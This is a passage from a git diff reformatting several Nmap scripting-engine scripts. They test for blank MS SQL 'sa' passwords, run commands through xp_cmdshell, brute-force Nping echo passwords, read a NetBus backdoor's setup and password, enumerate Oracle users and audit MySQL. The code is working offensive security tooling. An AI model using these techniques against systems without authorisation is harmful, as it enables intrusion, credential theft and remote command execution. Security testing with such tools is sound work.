mssql.Helper:new() - test_credentials( instance, helper, "sa", "" ) - end + local helper = mssql.Helper:new() + test_credentials( instance, helper, "sa", "" ) + end - -- The password testing has been finished. Unlock the mutex. - mutex( "done" ) + -- The password testing has been finished. Unlock the mutex. + mutex( "done" ) - local instanceOutput - if ( instance.ms_sql_empty ) then - instanceOutput = {} - instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) - for _, message in ipairs( instance.ms_sql_empty ) do - table.insert( instanceOutput, message ) - end - if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then - table.insert( instanceOutput, "'sa' account password is not blank." ) - end - end + local instanceOutput + if ( instance.ms_sql_empty ) then + instanceOutput = {} + instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) + for _, message in ipairs( instance.ms_sql_empty ) do + table.insert( instanceOutput, message ) + end + if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then + table.insert( instanceOutput, "'sa' account password is not blank." ) + end + end - return instanceOutput + return instanceOutput end action = function( host, port ) - local scriptOutput = {} - local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) + local scriptOutput = {} + local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - if ( not status ) then - return stdnse.format_output( false, instanceList ) - else - for _, instance in pairs( instanceList ) do - local instanceOutput = process_instance( instance ) - if instanceOutput then - table.insert( scriptOutput, instanceOutput ) - end - end - end + if ( not status ) then + return stdnse.format_output( false, instanceList ) + else + for _, instance in pairs( instanceList ) do + local instanceOutput = process_instance( instance ) + if instanceOutput then + table.insert( scriptOutput, instanceOutput ) + end + end + end - return stdnse.format_output( true, scriptOutput ) + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-hasdbaccess.nse b/scripts/ms-sql-hasdbaccess.nse index 7b8ae3e8f..9da6d1c6c 100644 --- a/scripts/ms-sql-hasdbaccess.nse +++ b/scripts/ms-sql-hasdbaccess.nse @@ -66,7 +66,7 @@ be disabled using the mssql.scanned-ports-only script argument. -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson -- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host; --- added compatibility with changes in mssql.lua (Chris Woodbury) +-- added compatibility with changes in mssql.lua (Chris Woodbury) author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -82,95 +82,95 @@ portrule = mssql.Helper.GetPortrule_Standard() local function process_instance( instance ) - local status, result, rs - local query, limit - local output = {} - local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" } + local status, result, rs + local query, limit + local output = {} + local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" } - local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } ) - and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5 + local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } ) + and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5 - if ( RS_LIMIT <= 0 ) then - limit = "" - else - limit = string.format( "TOP %d", RS_LIMIT ) - end + if ( RS_LIMIT <= 0 ) then + limit = "" + else + limit = string.format( "TOP %d", RS_LIMIT ) + end - local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255), - DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit, - Suspect bit, Offline bit, InLoad bit, EmergencyMode bit, - StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]], + local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255), + DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit, + Suspect bit, Offline bit, InLoad bit, EmergencyMode bit, + StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]], - "INSERT INTO #hasaccess EXEC sp_MShasdbaccess", - ("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)), - "DROP TABLE #hasaccess" } + "INSERT INTO #hasaccess EXEC sp_MShasdbaccess", + ("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)), + "DROP TABLE #hasaccess" } - local creds = mssql.Helper.GetLoginCredentials_All( instance ) - if ( not creds ) then - output = "ERROR: No login credentials." - else - for username, password in pairs( creds ) do - local helper = mssql.Helper:new() - status, result = helper:ConnectEx( instance ) - if ( not(status) ) then - output = "ERROR: " .. result - break - end + local creds = mssql.Helper.GetLoginCredentials_All( instance ) + if ( not creds ) then + output = "ERROR: No login credentials." + else + for username, password in pairs( creds ) do + local helper = mssql.Helper:new() + status, result = helper:ConnectEx( instance ) + if ( not(status) ) then + output = "ERROR: " .. result + break + end - if ( status ) then - status = helper:Login( username, password, nil, instance.host.ip ) - end + if ( status ) then + status = helper:Login( username, password, nil, instance.host.ip ) + end - if ( status ) then - for _, q in pairs(query) do - status, result = helper:Query( q ) - if ( status ) then - -- Only the SELECT statement should produce output - if ( #result.rows > 0 ) then - rs = result - end - end - end - end + if ( status ) then + for _, q in pairs(query) do + status, result = helper:Query( q ) + if ( status ) then + -- Only the SELECT statement should produce output + if ( #result.rows > 0 ) then + rs = result + end + end + end + end - helper:Disconnect() + helper:Disconnect() - if ( status and rs ) then - result = mssql.Util.FormatOutputTable( rs, true ) - result.name = username - if ( RS_LIMIT > 0 ) then - result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT) - end - table.insert( output, result ) - end - end - end + if ( status and rs ) then + result = mssql.Util.FormatOutputTable( rs, true ) + result.name = username + if ( RS_LIMIT > 0 ) then + result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT) + end + table.insert( output, result ) + end + end + end - local instanceOutput = {} - instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) - table.insert( instanceOutput, output ) + local instanceOutput = {} + instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) + table.insert( instanceOutput, output ) - return instanceOutput + return instanceOutput end action = function( host, port ) - local scriptOutput = {} - local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) + local scriptOutput = {} + local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - if ( not status ) then - return stdnse.format_output( false, instanceList ) - else - for _, instance in pairs( instanceList ) do - local instanceOutput = process_instance( instance ) - if instanceOutput then - table.insert( scriptOutput, instanceOutput ) - end - end - end + if ( not status ) then + return stdnse.format_output( false, instanceList ) + else + for _, instance in pairs( instanceList ) do + local instanceOutput = process_instance( instance ) + if instanceOutput then + table.insert( scriptOutput, instanceOutput ) + end + end + end - return stdnse.format_output( true, scriptOutput ) + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/ms-sql-xp-cmdshell.nse b/scripts/ms-sql-xp-cmdshell.nse index 370ff8300..e0b90b70f 100644 --- a/scripts/ms-sql-xp-cmdshell.nse +++ b/scripts/ms-sql-xp-cmdshell.nse @@ -79,7 +79,7 @@ be disabled using the mssql.scanned-ports-only script argument. -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson -- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host; --- added compatibility with changes in mssql.lua (Chris Woodbury) +-- added compatibility with changes in mssql.lua (Chris Woodbury) author = "Patrik Karlsson" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -94,73 +94,73 @@ portrule = mssql.Helper.GetPortrule_Standard() local function process_instance( instance ) - local status, result - local query - local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all' - local output = {} + local status, result + local query + local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all' + local output = {} - query = ("EXEC master..xp_cmdshell '%s'"):format(cmd) + query = ("EXEC master..xp_cmdshell '%s'"):format(cmd) - local creds = mssql.Helper.GetLoginCredentials_All( instance ) - if ( not creds ) then - output = "ERROR: No login credentials." - else - for username, password in pairs( creds ) do - local helper = mssql.Helper:new() - status, result = helper:ConnectEx( instance ) - if ( not(status) ) then - output = "ERROR: " .. result - break - end + local creds = mssql.Helper.GetLoginCredentials_All( instance ) + if ( not creds ) then + output = "ERROR: No login credentials." + else + for username, password in pairs( creds ) do + local helper = mssql.Helper:new() + status, result = helper:ConnectEx( instance ) + if ( not(status) ) then + output = "ERROR: " .. result + break + end - if ( status ) then - status = helper:Login( username, password, nil, instance.host.ip ) - end + if ( status ) then + status = helper:Login( username, password, nil, instance.host.ip ) + end - if ( status ) then - status, result = helper:Query( query ) - end - helper:Disconnect() + if ( status ) then + status, result = helper:Query( query ) + end + helper:Disconnect() - if ( status ) then - output = mssql.Util.FormatOutputTable( result, true ) - output[ "name" ] = string.format( "Command: %s", cmd ) - break - elseif ( result and result:gmatch("xp_configure") ) then - if( nmap.verbosity() > 1 ) then - output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online." - end - end - end - end + if ( status ) then + output = mssql.Util.FormatOutputTable( result, true ) + output[ "name" ] = string.format( "Command: %s", cmd ) + break + elseif ( result and result:gmatch("xp_configure") ) then + if( nmap.verbosity() > 1 ) then + output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online." + end + end + end + end - local instanceOutput = {} - instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) - table.insert( instanceOutput, output ) + local instanceOutput = {} + instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) + table.insert( instanceOutput, output ) - return instanceOutput + return instanceOutput end action = function( host, port ) - local scriptOutput = {} - local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) + local scriptOutput = {} + local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) - if ( not status ) then - return stdnse.format_output( false, instanceList ) - else - for _, instance in pairs( instanceList ) do - local instanceOutput = process_instance( instance ) - if instanceOutput then - table.insert( scriptOutput, instanceOutput ) - end - end + if ( not status ) then + return stdnse.format_output( false, instanceList ) + else + for _, instance in pairs( instanceList ) do + local instanceOutput = process_instance( instance ) + if instanceOutput then + table.insert( scriptOutput, instanceOutput ) + end + end - if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then - table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='' to change command.)") - end - end + if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then + table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='' to change command.)") + end + end - return stdnse.format_output( true, scriptOutput ) + return stdnse.format_output( true, scriptOutput ) end diff --git a/scripts/mysql-audit.nse b/scripts/mysql-audit.nse index 0dc12eac0..b32298a29 100644 --- a/scripts/mysql-audit.nse +++ b/scripts/mysql-audit.nse @@ -15,7 +15,7 @@ audits by creating appropriate audit files). --- -- @usage -- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \ --- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'" +-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'" -- -- @args mysql-audit.username the username with which to connect to the database -- @args mysql-audit.password the password with which to connect to the database @@ -94,89 +94,89 @@ portrule = shortport.port_or_service(3306, "mysql") local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", "" local function loadAuditRulebase( filename ) - local rules = {} + local rules = {} - local env = setmetatable({ - test = function(t) table.insert(rules, t) end; - }, {__index = _G}) + local env = setmetatable({ + test = function(t) table.insert(rules, t) end; + }, {__index = _G}) - local file, err = loadfile(filename, "t", env) + local file, err = loadfile(filename, "t", env) - if ( not(file) ) then - return false, ("ERROR: Failed to load rulebase:\n%s"):format(err) - end + if ( not(file) ) then + return false, ("ERROR: Failed to load rulebase:\n%s"):format(err) + end - file() - TEMPLATE_NAME = env.TEMPLATE_NAME - ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS - return true, rules + file() + TEMPLATE_NAME = env.TEMPLATE_NAME + ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS + return true, rules end action = function( host, port ) - local username = stdnse.get_script_args("mysql-audit.username") - local password = stdnse.get_script_args("mysql-audit.password") - local filename = stdnse.get_script_args("mysql-audit.filename") + local username = stdnse.get_script_args("mysql-audit.username") + local password = stdnse.get_script_args("mysql-audit.password") + local filename = stdnse.get_script_args("mysql-audit.filename") - if ( not(filename) ) then - return "\n No audit rulebase file was supplied (see mysql-audit.filename)" - end + if ( not(filename) ) then + return "\n No audit rulebase file was supplied (see mysql-audit.filename)" + end - if ( not(username) ) then - return "\n No username was supplied (see mysql-audit.username)" - end + if ( not(username) ) then + return "\n No username was supplied (see mysql-audit.username)" + end - local status, tests = loadAuditRulebase( filename ) - if( not(status) ) then return tests end + local status, tests = loadAuditRulebase( filename ) + if( not(status) ) then return tests end - local socket = nmap.new_socket() - status = socket:connect(host, port) + local socket = nmap.new_socket() + status = socket:connect(host, port) - local response - status, response = mysql.receiveGreeting( socket ) - if ( not(status) ) then return response end + local response + status, response = mysql.receiveGreeting( socket ) + if ( not(status) ) then return response end - status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) + status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) - if ( not(status) ) then return "ERROR: Failed to authenticate" end - local results = {} + if ( not(status) ) then return "ERROR: Failed to authenticate" end + local results = {} - for _, test in ipairs(tests) do - local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql - local rowstab = {} + for _, test in ipairs(tests) do + local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql + local rowstab = {} - for _, query in ipairs(queries) do - local row - status, row = mysql.sqlQuery( socket, query ) - if ( not(status) ) then - table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } ) - else - table.insert(rowstab, row) - end - end + for _, query in ipairs(queries) do + local row + status, row = mysql.sqlQuery( socket, query ) + if ( not(status) ) then + table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } ) + else + table.insert(rowstab, row) + end + end - if ( #rowstab > 0 ) then - local result_part = {} - local res = test.check(rowstab) - local status, data = res.status, res.result - status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL") + if ( #rowstab > 0 ) then + local result_part = {} + local res = test.check(rowstab) + local status, data = res.status, res.result + status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL") - table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) ) - if ( data ) then - table.insert(result_part, { data } ) - end - table.insert( results, result_part ) - end - end + table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) ) + if ( data ) then + table.insert(result_part, { data } ) + end + table.insert( results, result_part ) + end + end - socket:close() - results.name = TEMPLATE_NAME + socket:close() + results.name = TEMPLATE_NAME - table.insert(results, "") - table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username), - ("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS)) - }) + table.insert(results, "") + table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username), + ("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS)) + }) - return stdnse.format_output(true, { results }) +return stdnse.format_output(true, { results }) end diff --git a/scripts/netbus-info.nse b/scripts/netbus-info.nse index 0e38d8747..2c1947cbb 100644 --- a/scripts/netbus-info.nse +++ b/scripts/netbus-info.nse @@ -63,112 +63,112 @@ dependencies = {"netbus-version", "netbus-brute"} portrule = shortport.port_or_service (12345, "netbus", {"tcp"}) local function format_acl(acl) - if acl == nil then - return {} - end - local payload = string.sub(acl, 9) --skip header - local fields = stdnse.strsplit("|", payload) - table.remove(fields, (# fields)) - fields["name"] = "ACL" - return fields + if acl == nil then + return {} + end + local payload = string.sub(acl, 9) --skip header + local fields = stdnse.strsplit("|", payload) + table.remove(fields, (# fields)) + fields["name"] = "ACL" + return fields end local function format_apps(apps) - if apps == nil then - return {} - end - local payload = string.sub(apps, 10) --skip header - local fields = stdnse.strsplit("|", payload) - table.remove(fields, (# fields)) - fields["name"] = "APPLICATIONS" - return fields + if apps == nil then + return {} + end + local payload = string.sub(apps, 10) --skip header + local fields = stdnse.strsplit("|", payload) + table.remove(fields, (# fields)) + fields["name"] = "APPLICATIONS" + return fields end local function format_info(info) - if info == nil then - return {} - end - local payload = string.sub(info, 6) --skip header - local fields = stdnse.strsplit("|", payload) - fields["name"] = "INFO" - return fields + if info == nil then + return {} + end + local payload = string.sub(info, 6) --skip header + local fields = stdnse.strsplit("|", payload) + fields["name"] = "INFO" + return fields end local function format_setup(setup) - local formatted = {} - if setup == nil then - return formatted - end - local fields = stdnse.strsplit(";", setup) - if # fields < 7 then - return formatted - end - formatted["name"] = "SETUP" - table.insert(formatted, string.format("TCP-port: %s", fields[2])) - table.insert(formatted, string.format("Log traffic: %s", fields[3])) - table.insert(formatted, string.format("Password: %s", fields[4])) - table.insert(formatted, string.format("Notify to: %s", fields[5])) - table.insert(formatted, string.format("Notify from: %s", fields[6])) - table.insert(formatted, string.format("SMTP-server: %s", fields[7])) - return formatted + local formatted = {} + if setup == nil then + return formatted + end + local fields = stdnse.strsplit(";", setup) + if # fields < 7 then + return formatted + end + formatted["name"] = "SETUP" + table.insert(formatted, string.format("TCP-port: %s", fields[2])) + table.insert(formatted, string.format("Log traffic: %s", fields[3])) + table.insert(formatted, string.format("Password: %s", fields[4])) + table.insert(formatted, string.format("Notify to: %s", fields[5])) + table.insert(formatted, string.format("Notify from: %s", fields[6])) + table.insert(formatted, string.format("SMTP-server: %s", fields[7])) + return formatted end local function format_volume(volume) - local formatted = {} - if volume == nil then - return formatted - end - local fields = stdnse.strsplit(";", volume) - if # fields < 4 then - return formatted - end - formatted["name"] = "VOLUME" - table.insert(formatted, string.format("Wave: %s", fields[2])) - table.insert(formatted, string.format("Synth: %s", fields[3])) - table.insert(formatted, string.format("Cd: %s", fields[4])) - return formatted + local formatted = {} + if volume == nil then + return formatted + end + local fields = stdnse.strsplit(";", volume) + if # fields < 4 then + return formatted + end + formatted["name"] = "VOLUME" + table.insert(formatted, string.format("Wave: %s", fields[2])) + table.insert(formatted, string.format("Synth: %s", fields[3])) + table.insert(formatted, string.format("Cd: %s", fields[4])) + return formatted end action = function( host, port ) - local password = nmap.registry.args[SCRIPT_NAME .. ".password"] - if not password and nmap.registry.netbuspasswords then - local key = string.format("%s:%d", host.ip, port.number) - password = nmap.registry.netbuspasswords[key] - end - if not password then - password = "" - end - local socket = nmap.new_socket() - socket:set_timeout(5000) - local status, err = socket:connect(host.ip, port.number) - local buffer, err = stdnse.make_buffer(socket, "\r") - local _ = buffer() - socket:send(string.format("Password;1;%s\r", password)) - local gotin = buffer() - if gotin == "Access;0" then - return - end + local password = nmap.registry.args[SCRIPT_NAME .. ".password"] + if not password and nmap.registry.netbuspasswords then + local key = string.format("%s:%d", host.ip, port.number) + password = nmap.registry.netbuspasswords[key] + end + if not password then + password = "" + end + local socket = nmap.new_socket() + socket:set_timeout(5000) + local status, err = socket:connect(host.ip, port.number) + local buffer, err = stdnse.make_buffer(socket, "\r") + local _ = buffer() + socket:send(string.format("Password;1;%s\r", password)) + local gotin = buffer() + if gotin == "Access;0" then + return + end - socket:send("GetInfo\r") - local info = buffer() - socket:send("GetSetup\r") - local setup = buffer() - socket:send("GetACL\r") - local acl = buffer() - socket:send("GetApps\r") - local apps = buffer() - socket:send("GetVolume\r") - local volume = buffer() - socket:close() + socket:send("GetInfo\r") + local info = buffer() + socket:send("GetSetup\r") + local setup = buffer() + socket:send("GetACL\r") + local acl = buffer() + socket:send("GetApps\r") + local apps = buffer() + socket:send("GetVolume\r") + local volume = buffer() + socket:close() - local response = {} - table.insert(response, format_acl(acl)) - table.insert(response, format_apps(apps)) - table.insert(response, format_info(info)) - table.insert(response, format_setup(setup)) - table.insert(response, format_volume(volume)) + local response = {} + table.insert(response, format_acl(acl)) + table.insert(response, format_apps(apps)) + table.insert(response, format_info(info)) + table.insert(response, format_setup(setup)) + table.insert(response, format_volume(volume)) - return stdnse.format_output(true, response) + return stdnse.format_output(true, response) end diff --git a/scripts/nping-brute.nse b/scripts/nping-brute.nse index 8bbe20a76..a2d5f0e07 100644 --- a/scripts/nping-brute.nse +++ b/scripts/nping-brute.nse @@ -35,127 +35,127 @@ categories = {"brute", "intrusive"} portrule = shortport.port_or_service(9929, "nping-echo") local function randombytes(x) - local bytes = "" - for i = 1, x do - bytes = bytes .. bin.pack("C", math.random(0x00, 0xff)) - end - return bytes + local bytes = "" + for i = 1, x do + bytes = bytes .. bin.pack("C", math.random(0x00, 0xff)) + end + return bytes end local function readmessage(socket, length) - local msg = "" - while #msg < length do - local status, tmp = socket:receive_bytes(1) - if not status then - return nil - end - msg = msg .. tmp - end - return msg + local msg = "" + while #msg < length do + local status, tmp = socket:receive_bytes(1) + if not status then + return nil + end + msg = msg .. tmp + end + return msg end Driver = { - NEP_VERSION = 0x01, - AES_128_CBC = "aes-128-cbc", - SHA256 = "sha256", + NEP_VERSION = 0x01, + AES_128_CBC = "aes-128-cbc", + SHA256 = "sha256", - new = function(self, host, port) - local o = {} - setmetatable(o, self) - self.__index = self - o.host = host - o.port = port - return o - end, + new = function(self, host, port) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + return o + end, - nepkey = function(self, password, nonce, typeid) - local seed = password .. nonce .. typeid - local h = openssl.digest(self.SHA256, seed) - for i = 1, 1000 do - h = openssl.digest(self.SHA256, h) - end - local _, key = bin.unpack("A16", h) - return key - end, + nepkey = function(self, password, nonce, typeid) + local seed = password .. nonce .. typeid + local h = openssl.digest(self.SHA256, seed) + for i = 1, 1000 do + h = openssl.digest(self.SHA256, h) + end + local _, key = bin.unpack("A16", h) + return key + end, - getservernonce = function(self, serverhs) - local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)} - return parts[7] - end, + getservernonce = function(self, serverhs) + local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)} + return parts[7] + end, - chsbody = function(self) - local IP4 = 0x04 - local IP6 = 0x06 - local family = IP6 - local target = self.host.bin_ip - if #target == 4 then - target = bin.pack("Ax12", target) - family = IP4 - end - return bin.pack("ACx15", target, family) - end, + chsbody = function(self) + local IP4 = 0x04 + local IP6 = 0x06 + local family = IP6 + local target = self.host.bin_ip + if #target == 4 then + target = bin.pack("Ax12", target) + family = IP4 + end + return bin.pack("ACx15", target, family) + end, - clienths = function(self, snonce, password) - local NEP_HANDSHAKE_CLIENT = 0x02 - local NEP_HANDSHAKE_CLIENT_LEN = 36 - local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server" - local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server" + clienths = function(self, snonce, password) + local NEP_HANDSHAKE_CLIENT = 0x02 + local NEP_HANDSHAKE_CLIENT_LEN = 36 + local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server" + local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server" - local now = nmap.clock() - local seqb = randombytes(4) - local cnonce = randombytes(32) - local nonce = snonce .. cnonce - local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID) - local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID) - local _, iv = bin.unpack("A16", cnonce) - local plain = self:chsbody() - local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain) - local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce) - local mac = openssl.hmac(self.SHA256, mackey, head .. plain) + local now = nmap.clock() + local seqb = randombytes(4) + local cnonce = randombytes(32) + local nonce = snonce .. cnonce + local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID) + local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID) + local _, iv = bin.unpack("A16", cnonce) + local plain = self:chsbody() + local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain) + local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce) + local mac = openssl.hmac(self.SHA256, mackey, head .. plain) - return head .. crypted .. mac - end, + return head .. crypted .. mac + end, - testpass = function(self, password) - local SERVERHS_LEN = 96 - local FINALHS_LEN = 112 - local serverhs = readmessage(self.socket, SERVERHS_LEN) - if serverhs == nil then - return false - end - local snonce = self:getservernonce(serverhs) - local response = self:clienths(snonce, password) - self.socket:send(response) - local finalhs = readmessage(self.socket, FINALHS_LEN) - if finalhs == nil then - return false - end - return true - end, + testpass = function(self, password) + local SERVERHS_LEN = 96 + local FINALHS_LEN = 112 + local serverhs = readmessage(self.socket, SERVERHS_LEN) + if serverhs == nil then + return false + end + local snonce = self:getservernonce(serverhs) + local response = self:clienths(snonce, password) + self.socket:send(response) + local finalhs = readmessage(self.socket, FINALHS_LEN) + if finalhs == nil then + return false + end + return true + end, - connect = function(self) - self.socket = nmap.new_socket() - return self.socket:connect(self.host, self.port) - end, + connect = function(self) + self.socket = nmap.new_socket() + return self.socket:connect(self.host, self.port) + end, - login = function(self, _, password) - if self:testpass(password) then - return true, brute.Account:new("", password, creds.State.VALID) - end - return false, brute.Error:new("Incorrect password") - end, + login = function(self, _, password) + if self:testpass(password) then + return true, brute.Account:new("", password, creds.State.VALID) + end + return false, brute.Error:new("Incorrect password") + end, - disconnect = function(self) - return self.socket:close() - end, + disconnect = function(self) + return self.socket:close() + end, } action = function(host, port) - local engine = brute.Engine:new(Driver, host, port) - engine.options.firstonly = true - engine.options:setOption("passonly", true) - engine.options.script_name = SCRIPT_NAME - local status, result = engine:start() - return result + local engine = brute.Engine:new(Driver, host, port) + engine.options.firstonly = true + engine.options:setOption("passonly", true) + engine.options.script_name = SCRIPT_NAME + local status, result = engine:start() + return result end diff --git a/scripts/oracle-enum-users.nse b/scripts/oracle-enum-users.nse index 21b67ab95..135480719 100644 --- a/scripts/oracle-enum-users.nse +++ b/scripts/oracle-enum-users.nse @@ -48,26 +48,26 @@ portrule = shortport.port_or_service(1521, 'oracle-tns' ) local function checkAccount( host, port, user ) - local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] ) - local status, data = helper:Connect() - local tnscomm, auth - local auth_options = tns.AuthOptions:new() + local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] ) + local status, data = helper:Connect() + local tnscomm, auth + local auth_options = tns.AuthOptions:new() - if ( not(status) ) then - return false, data - end + if ( not(status) ) then + return false, data + end - -- A bit ugly, the helper should probably provide a getSocket function - tnscomm = tns.Comm:new( helper.tnssocket ) + -- A bit ugly, the helper should probably provide a getSocket function + tnscomm = tns.Comm:new( helper.tnssocket ) - status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) ) - if ( not(status) ) then - return false, auth - end - helper:Close() + status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) ) + if ( not(status) ) then + return false, auth + end + helper:Close() - return true, auth["AUTH_VFR_DATA"] + return true, auth["AUTH_VFR_DATA"] end ---Generates a random string of the requested length. This can be used to check how hosts react to @@ -76,85 +76,85 @@ end --@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. --@return The random string. local function get_random_string(length, set) - if(length == nil) then - length = 8 - end + if(length == nil) then + length = 8 + end - if(set == nil) then - set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_" - end + if(set == nil) then + set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_" + end - local str = "" + local str = "" - for i = 1, length, 1 do - local random = math.random(#set) - str = str .. string.sub(set, random, random) - end + for i = 1, length, 1 do + local random = math.random(#set) + str = str .. string.sub(set, random, random) + end - return str + return str end action = function( host, port ) - local known_good_accounts = { "system", "sys", "dbsnmp", "scott" } + local known_good_accounts = { "system", "sys", "dbsnmp", "scott" } - local status, salt - local count = 0 - local result = {} - local usernames + local status, salt + local count = 0 + local result = {} + local usernames - if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then - return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)" - end + if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then + return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)" + end - status, usernames = unpwdb.usernames() - if( not(status) ) then - return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary") - end + status, usernames = unpwdb.usernames() + if( not(status) ) then + return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary") + end - -- Check for some known good accounts - for _, user in ipairs( known_good_accounts ) do - status, salt = checkAccount(host, port, user) - if( not(status) ) then return salt end - if ( salt ) then - count = count + #salt - end - end + -- Check for some known good accounts + for _, user in ipairs( known_good_accounts ) do + status, salt = checkAccount(host, port, user) + if( not(status) ) then return salt end + if ( salt ) then + count = count + #salt + end + end - -- did we atleast get a single salt back? - if ( count < 20 ) then - return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)") - end + -- did we atleast get a single salt back? + if ( count < 20 ) then + return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)") + end - -- Check for some known bad accounts - count = 0 - for i=1, 10 do - local user = get_random_string(10) - status, salt = 